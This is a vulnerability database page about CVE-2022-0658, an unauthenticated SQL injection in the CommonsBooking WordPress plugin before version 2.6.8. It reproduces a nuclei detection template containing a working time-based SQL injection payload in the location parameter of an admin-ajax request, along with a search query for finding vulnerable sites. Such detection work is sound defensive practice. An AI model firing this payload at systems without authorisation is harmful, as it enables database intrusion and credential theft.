HexBrain

Browse / CVEs / CVE-2022-0658

CVE-2022-0658· wielebenwir / commonsbooking· CWE-89

CommonsBooking < 2.6.8 - SQL Injection

criticalseverity
9.8CVSS score
7.5%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it

The plugin does not sanitise and escape the location parameter of the calendar_data AJAX action (available to unauthenticated users) before it is used in dynamically constructed SQL queries, leading to an unauthenticated SQL injection.

Impact

Unauthenticated attackers can execute SQL injection via unsanitized AJAX parameters to extract database contents, potentially exposing sensitive WordPress data including user credentials.

Fix

Fixed in version 2.6.8

How to confirm it

Send: @timeout: 20s
Positive when: duration>=6 and status_code == 200 and contains(header, "application/json") and contains(body, "partiallyBookedDays") && contains(body, "lockDays")

Run it with nuclei: nuclei -id CVE-2022-0658 -u <target>

The full check
id: CVE-2022-0658

info:
  name: CommonsBooking < 2.6.8 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    The plugin does not sanitise and escape the location parameter of the calendar_data AJAX action (available to unauthenticated users) before it is used in dynamically constructed SQL queries, leading to an unauthenticated SQL injection.
  impact: |
    Unauthenticated attackers can execute SQL injection via unsanitized AJAX parameters to extract database contents, potentially exposing sensitive WordPress data including user credentials.
  remediation: Fixed in version 2.6.8
  reference:
    - https://wpscan.com/vulnerability/d7f0805a-61ce-454a-96fb-5ecacd767578
    - https://wordpress.org/plugins/commonsbooking/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0658
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0658
    cwe-id: CWE-89
    epss-score: 0.07518
    epss-percentile: 0.94544
    cpe: cpe:2.3:a:wielebenwir:commonsbooking:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wielebenwir
    product: commonsbooking
    framework: wordpress
    google-query: inurl:/wp-content/plugin/commonsbooking/
  tags: time-based-sqli,cve,cve2022,wordpress,wp-plugin,wp,commonsbooking,sqli,wpscan,wielebenwir,vuln

http:
  - raw:
      - |
        @timeout: 20s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=calendar_data&sd=2099-02-13&ed=2099-02-13&item=1&location=(SELECT+1743+FROM+(SELECT(SLEEP(6)))iXxL3)

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(header, "application/json")'
          - 'contains(body, "partiallyBookedDays") && contains(body, "lockDays")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from